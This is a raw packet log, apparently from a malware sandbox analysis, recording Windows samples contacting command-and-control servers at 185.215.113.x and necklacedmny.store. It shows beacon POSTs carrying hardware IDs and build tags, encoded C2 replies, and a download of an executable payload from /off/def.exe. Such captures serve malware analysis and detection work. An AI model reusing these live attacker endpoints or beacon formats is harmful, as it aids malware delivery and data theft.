Nov 1, 2024 08:52:01.003125906 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 08:52:01.908688068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:52:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	57906	185.215.113.206	80	1016	C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:52:02.598311901 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 08:52:03.496747971 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:52:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 08:52:03.510211945 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="build"tale------BKJDGCGDAAAKECAKKJDA--
Nov 1, 2024 08:52:03.796305895 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:52:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	57908	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:52:03.564327955 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 08:52:04.475095987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	57910	185.215.113.43	80	3052	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:52:05.990650892 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 08:52:06.902113914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:52:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	57912	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:52:08.538017988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 08:52:09.459948063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	57913	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:52:08.997268915 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 08:52:10.286370039 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:52:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 08:52:10.289764881 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 2d 2d 0d 0a Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="build"tale------GHDBKFHIJKJKECAAAECA--
Nov 1, 2024 08:52:10.580754042 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:52:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	57914	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:52:09.351406097 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 08:52:10.258101940 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:52:10 GMT Content-Type: application/octet-stream Content-Length: 2799104 Last-Modified: Fri, 01 Nov 2024 07:45:47 GMT Connection: keep-alive ETag: "6724872b-2ab600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+6`Ui` @ @.rsrc`2@.idata 8@smhgitdo`T:@ntzismqa +@.taggant@ +"*@
Nov 1, 2024 08:52:10.258125067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:52:10.258155107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:52:10.258166075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:52:10.258177042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:52:10.258188963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:52:10.258202076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:52:10.258215904 CET	1236	IN	Data Raw: 49 c9 87 a7 21 74 88 ea a8 85 86 62 b8 4b 23 b4 44 30 2d c4 0b 9e 3a 04 f5 bb dc e5 92 3e 4c db 00 4d 52 48 6f 5c 0d 84 70 04 c3 ba 9f 92 98 e7 db ba e8 b4 17 cf 9b e0 a9 9c 85 fe d9 c2 5f d6 df d7 f8 a4 21 c0 f4 9c 05 ab e7 fa bb b5 85 57 e7 ec Data Ascii: I!tbK#D0-:>LMRHo\p_!W_a1jl$\|FBt,<ZCc_TJt#_>z/:?Lte_;c$0dZB#
Nov 1, 2024 08:52:10.258229971 CET	1236	IN	Data Raw: 55 c8 fe 9a 7d c8 e2 c6 44 e5 67 ba a2 ad fc 35 eb a5 f8 be 39 9e da c5 fb 40 c2 aa dd 8d f2 a7 eb a5 32 c4 49 6d 36 a9 4c de 74 22 dd c8 3e a4 eb 69 fe 72 39 81 2e b8 0f 34 18 7e e5 ad 1a dd 3b ac 52 5e a2 49 8b 2c dd 4d ea a7 2b bc 72 52 53 15 Data Ascii: U}Dg59@2Im6Lt">ir9.4~;R^I,M+rRSz[bd`kj!"JS.r4@m#_~IPyd]x<7r.]bzaIAMRXx;DqgLV)
Nov 1, 2024 08:52:10.258239031 CET	1236	IN	Data Raw: 1c b7 f7 ad 37 95 fe d9 18 60 4e a4 d0 e1 8e 3b ae de e0 72 ed b8 c2 0d a1 73 cd 85 0e f5 14 08 07 a0 cc 77 af 54 c0 eb 5a 72 93 d8 cb bf 33 1d 1b cd 12 94 bd 6e 0f 86 db dd 1c 86 0a 7e 2e 41 53 b8 2a b5 d9 72 22 af ac 07 52 a7 25 18 d7 56 68 e3 Data Ascii: 7`N;rswTZr3n~.AS*r"R%VhYDbeLx]6' raD^qwVS=%>y3kzA8{SXfirM@~<n=-[Ep@,h{1xX
Nov 1, 2024 08:52:10.263139009 CET	1120	IN	Data Raw: a4 80 a7 f1 f2 b1 9d de cf 35 83 eb 86 d1 c0 c7 bf b8 8c 67 bf b1 3e d2 ba a7 aa 8d bc c0 a9 b6 bf c1 24 90 ea bc 50 19 38 f4 9a 7c 1e 0e fb 35 e4 0b 16 ab 1c 6f e6 e2 eb df f0 9b 05 7c 2a 90 b5 6a 28 a9 0f 7e 3f f5 6a a8 89 17 7b 62 2d 69 0b f5 Data Ascii: 5g>$P8\|5o\|j(~?j{b-i$qD {?$^NGX^]@@;Yqp~!@q0V(FV!hA`}?(s+l1*1_

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	57915	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:52:10.975078106 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 08:52:11.897778034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:52:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 07:50:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 07:50:03 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r8tu9gbh92dc6o90ia7rkvk82d; expires=Tue, 25-Feb-2025 01:36:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dvrbmi%2FVMer%2BO%2F9LozQLwmatN%2Be3oJ28Uz6oxDR1FEUvF6iVpjiRjR055MA2s5qhkKvwcMhcfGnjFe%2Fq2h5%2BCXCMyyTjLO7OZLj8nC6cLI3bLmQ0wH51druH0DsKUu3hWVW11Lk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4aac29e62e78-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1531&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1858793&cwnd=232&unsent_bytes=0&cid=fdedad12597adf63&ts=642&x=0"
2024-11-01 07:50:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 07:50:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:50:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 07:50:03 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 07:50:04 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:50:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tao0gsmhns7cn8se3uea9jmai1; expires=Tue, 25-Feb-2025 01:36:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AnSmZ6FfNSIEInWr3ik9BQm68iHaD9ki84S8N%2BGrbp1zgx35J2vg3fzJKNEkqozz7zod0G6qVMgOd1REBgATzC0dBaeREvevfyLHS2cKvVzA3nANd9d39nW4gQioNr%2F52mByxco%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ab3190b6b70-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1843&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1553648&cwnd=251&unsent_bytes=0&cid=a94d47cf7771e14d&ts=466&x=0"
2024-11-01 07:50:04 UTC	358	IN	Data Raw: 31 64 38 35 0d 0a 2b 68 6c 36 59 5a 35 4f 6a 42 5a 6e 52 4d 37 73 4d 52 6e 30 65 66 57 67 66 38 4c 61 48 73 30 74 4e 63 55 6a 62 6f 35 50 39 6b 69 42 4f 77 78 44 70 48 71 67 4e 42 51 68 37 4e 5a 46 61 34 45 63 32 59 49 65 70 76 67 6b 71 30 78 5a 74 6b 5a 43 72 44 6d 62 61 73 42 2f 47 77 33 74 4b 36 41 30 41 6a 7a 73 31 6d 70 69 31 68 79 62 67 6b 58 67 76 33 53 76 54 46 6d 6e 51 67 58 68 50 35 6f 72 6b 6e 55 64 43 66 73 74 36 48 63 4c 4b 61 75 4a 56 48 69 65 46 35 7a 4e 46 36 2f 34 4d 75 39 49 54 2b 63 5a 54 4d 4d 71 67 69 6d 33 65 41 6b 4b 76 44 4f 67 62 55 55 68 6f 4d 34 4c 4f 35 55 63 6c 38 77 5a 70 72 46 32 70 55 56 52 70 6b 63 45 2f 69 61 51 49 4a 4a 37 48 67 6a 78 4a 50 78 36 41 53 36 67 6a 31 35 34 31 6c 58 58 78 51 58 67 34 44 7a 38 66 56 53 32 55 Data Ascii: 1d85+hl6YZ5OjBZnRM7sMRn0efWgf8LaHs0tNcUjbo5P9kiBOwxDpHqgNBQh7NZFa4Ec2YIepvgkq0xZtkZCrDmbasB/Gw3tK6A0Ajzs1mpi1hybgkXgv3SvTFmnQgXhP5orknUdCfst6HcLKauJVHieF5zNF6/4Mu9IT+cZTMMqgim3eAkKvDOgbUUhoM4LO5Ucl8wZprF2pUVRpkcE/iaQIJJ7HgjxJPx6AS6gj1541lXXxQXg4Dz8fVS2U
2024-11-01 07:50:04 UTC	1369	IN	Data Raw: 44 53 32 6e 69 30 46 77 6e 78 61 61 77 68 43 71 74 33 2b 76 53 46 32 74 54 67 62 6f 49 4a 6b 73 6d 48 74 59 54 62 77 72 39 6a 52 64 5a 6f 2b 4c 51 33 79 61 44 64 58 34 58 62 2f 32 5a 65 39 49 57 2b 63 5a 54 4f 51 6f 6c 79 6d 54 64 42 73 4c 39 7a 37 75 5a 67 4d 72 71 5a 78 56 66 70 67 52 6c 4e 41 58 72 72 35 2f 70 6b 52 65 6f 6b 59 49 72 47 50 55 4c 59 41 37 51 45 50 64 49 65 56 34 44 7a 47 73 7a 6b 77 31 6a 31 75 51 7a 6c 33 34 2b 48 69 75 53 31 61 6a 54 77 4c 6f 49 5a 49 6b 6c 58 51 65 43 66 77 72 35 48 77 4e 4a 36 47 46 58 48 75 54 46 70 50 45 45 61 47 39 50 4f 45 50 55 4c 38 42 56 4b 77 44 6b 79 6d 4b 4f 53 30 41 38 69 4c 70 59 6b 55 35 34 70 63 54 66 4a 70 62 7a 34 49 54 70 62 64 75 72 6c 31 53 71 56 4d 41 36 53 75 5a 4b 5a 5a 37 48 51 54 78 49 75 68 Data Ascii: DS2ni0FwnxaawhCqt3+vSF2tTgboIJksmHtYTbwr9jRdZo+LQ3yaDdX4Xb/2Ze9IW+cZTOQolymTdBsL9z7uZgMrqZxVfpgRlNAXrr5/pkReokYIrGPULYA7QEPdIeV4DzGszkw1j1uQzl34+HiuS1ajTwLoIZIklXQeCfwr5HwNJ6GFXHuTFpPEEaG9POEPUL8BVKwDkymKOS0A8iLpYkU54pcTfJpbz4ITpbdurl1SqVMA6SuZKZZ7HQTxIuh
2024-11-01 07:50:04 UTC	1369	IN	Data Raw: 70 63 54 66 4a 70 62 7a 34 49 52 71 62 68 33 70 55 74 58 6f 45 77 4a 37 79 71 58 4a 35 39 78 46 67 54 34 49 4f 64 35 41 79 61 72 69 6c 5a 70 6b 78 4b 62 7a 6c 33 75 2b 48 75 33 44 77 2f 6e 62 67 76 36 4c 72 73 70 69 58 4a 59 48 4c 49 31 72 6e 4d 4a 5a 76 54 4f 56 48 36 65 45 4a 48 4b 48 62 4b 39 63 71 52 4f 58 61 46 41 41 65 41 72 6c 43 75 59 66 52 51 44 2b 79 76 38 5a 67 41 67 76 6f 51 54 4e 64 59 63 6a 34 4a 46 34 49 35 73 75 46 35 42 35 58 51 50 34 69 4f 54 50 4e 68 6b 56 68 71 38 4b 2b 49 30 58 57 61 6e 6a 6c 39 38 6e 68 32 54 79 68 4b 76 73 57 36 75 51 31 6d 31 52 67 7a 6c 49 35 73 6d 6b 58 59 66 44 76 63 6d 34 33 41 43 4a 2b 7a 41 45 33 79 4f 57 38 2b 43 4b 37 43 31 63 49 46 45 57 36 34 42 45 36 49 30 31 43 32 55 4f 30 42 44 2b 43 44 6d 66 67 6f 76 Data Ascii: pcTfJpbz4IRqbh3pUtXoEwJ7yqXJ59xFgT4IOd5AyarilZpkxKbzl3u+Hu3Dw/nbgv6LrspiXJYHLI1rnMJZvTOVH6eEJHKHbK9cqROXaFAAeArlCuYfRQD+yv8ZgAgvoQTNdYcj4JF4I5suF5B5XQP4iOTPNhkVhq8K+I0XWanjl98nh2TyhKvsW6uQ1m1RgzlI5smkXYfDvcm43ACJ+zAE3yOW8+CK7C1cIFEW64BE6I01C2UO0BD+CDmfgov
2024-11-01 07:50:04 UTC	1369	IN	Data Raw: 79 53 48 5a 69 43 55 2b 43 2f 5a 4f 38 58 46 34 68 6d 4f 61 34 4d 72 6d 71 48 4e 51 46 44 2b 79 43 75 4c 45 55 71 72 34 4a 62 64 4a 41 53 6d 38 67 55 71 37 52 33 71 30 4e 65 6f 6b 63 4e 36 53 69 56 4c 70 52 78 48 67 44 2f 49 2b 46 37 44 57 62 69 7a 6c 52 6a 31 6b 50 58 35 77 71 72 74 6e 72 76 55 42 6d 2b 41 51 76 67 62 63 78 71 6c 48 49 65 42 66 6b 67 37 33 49 4e 49 36 53 4b 55 6e 32 51 47 4a 6a 47 47 4b 47 33 65 4b 4e 42 58 61 5a 41 41 4f 63 69 6e 79 2f 59 4e 56 67 45 35 47 79 32 4e 44 51 6c 75 70 6c 44 64 39 59 45 32 64 74 64 70 37 51 38 39 77 39 57 74 55 73 47 34 69 69 62 4c 35 74 30 48 77 37 36 49 4f 52 39 44 53 43 6a 68 30 46 34 6d 68 57 51 7a 42 47 75 74 58 61 73 51 68 66 70 41 51 76 30 62 63 78 71 74 48 77 56 4c 66 63 67 36 54 51 61 61 4c 58 4f 56 Data Ascii: 